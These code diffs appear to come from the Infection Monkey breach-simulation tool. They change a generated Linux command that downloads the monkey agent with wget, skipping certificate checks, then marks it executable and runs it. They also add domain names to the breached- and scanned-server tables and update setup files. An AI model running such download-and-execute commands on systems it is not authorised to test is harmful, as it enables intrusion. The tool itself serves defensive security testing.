|
|
|
@ -52,7 +52,7 @@ class RunMonkeyPageComponent extends AuthComponent {
|
|||
|
||||
generateLinuxCmd(ip, is32Bit) {
|
||||
let bitText = is32Bit ? '32' : '64';
|
||||
return `curl -O -k https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000`
|
||||
return `wget --no-check-certificate https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000`
|
||||
}
|
||||
|
||||
generateWindowsCmd(ip, is32Bit) {
|
||||
|
|
|
@ -5,12 +5,17 @@ let renderArray = function(val) {
|
|||
return <div>{val.map(x => <div>{x}</div>)}</div>;
|
||||
};
|
||||
|
||||
let renderIpAddresses = function (val) {
|
||||
return <div>{renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} </div>;
|
||||
};
|
||||
|
||||
const columns = [
|
||||
{
|
||||
Header: 'Breached Servers',
|
||||
columns: [
|
||||
{Header: 'Machine', accessor: 'label'},
|
||||
{Header: 'IP Addresses', id: 'ip_addresses', accessor: x => renderArray(x.ip_addresses)},
|
||||
{Header: 'IP Addresses', id: 'ip_addresses',
|
||||
accessor: x => renderIpAddresses(x)},
|
||||
{Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)}
|
||||
]
|
||||
}
|
||||
|
|
|
@ -5,12 +5,17 @@ let renderArray = function(val) {
|
|||
return <div>{val.map(x => <div>{x}</div>)}</div>;
|
||||
};
|
||||
|
||||
let renderIpAddresses = function (val) {
|
||||
return <div>{renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} </div>;
|
||||
};
|
||||
|
||||
const columns = [
|
||||
{
|
||||
Header: 'Scanned Servers',
|
||||
columns: [
|
||||
{ Header: 'Machine', accessor: 'label'},
|
||||
{ Header: 'IP Addresses', id: 'ip_addresses', accessor: x => renderArray(x.ip_addresses)},
|
||||
{ Header: 'IP Addresses', id: 'ip_addresses',
|
||||
accessor: x => renderIpAddresses(x)},
|
||||
{ Header: 'Accessible From', id: 'accessible_from_nodes', accessor: x => renderArray(x.accessible_from_nodes)},
|
||||
{ Header: 'Services', id: 'services', accessor: x => renderArray(x.services)}
|
||||
]
|
||||
|
|
|
@ -2,4 +2,4 @@
|
|||
|
||||
cd /var/monkey
|
||||
/var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db &
|
||||
/var/monkey/monkey_island/bin/python/bin/python monkey_island/cc/main.py
|
||||
/var/monkey/monkey_island/bin/python/bin/python monkey_island.py
|
|
@ -1,3 +1,6 @@
|
|||
To get development versions of Monkey Island and Monkey look into deployment scripts folder.
|
||||
If you only want to run the software from source you may refer to the instructions below.
|
||||
|
||||
How to set up the Monkey Island server:
|
||||
|
||||
---------------- On Windows ----------------:
|
||||
|
|
|
@ -15,3 +15,4 @@ ipaddress
|
|||
enum34
|
||||
PyCrypto
|
||||
boto3
|
||||
awscli
|
Loading…
Reference in New Issue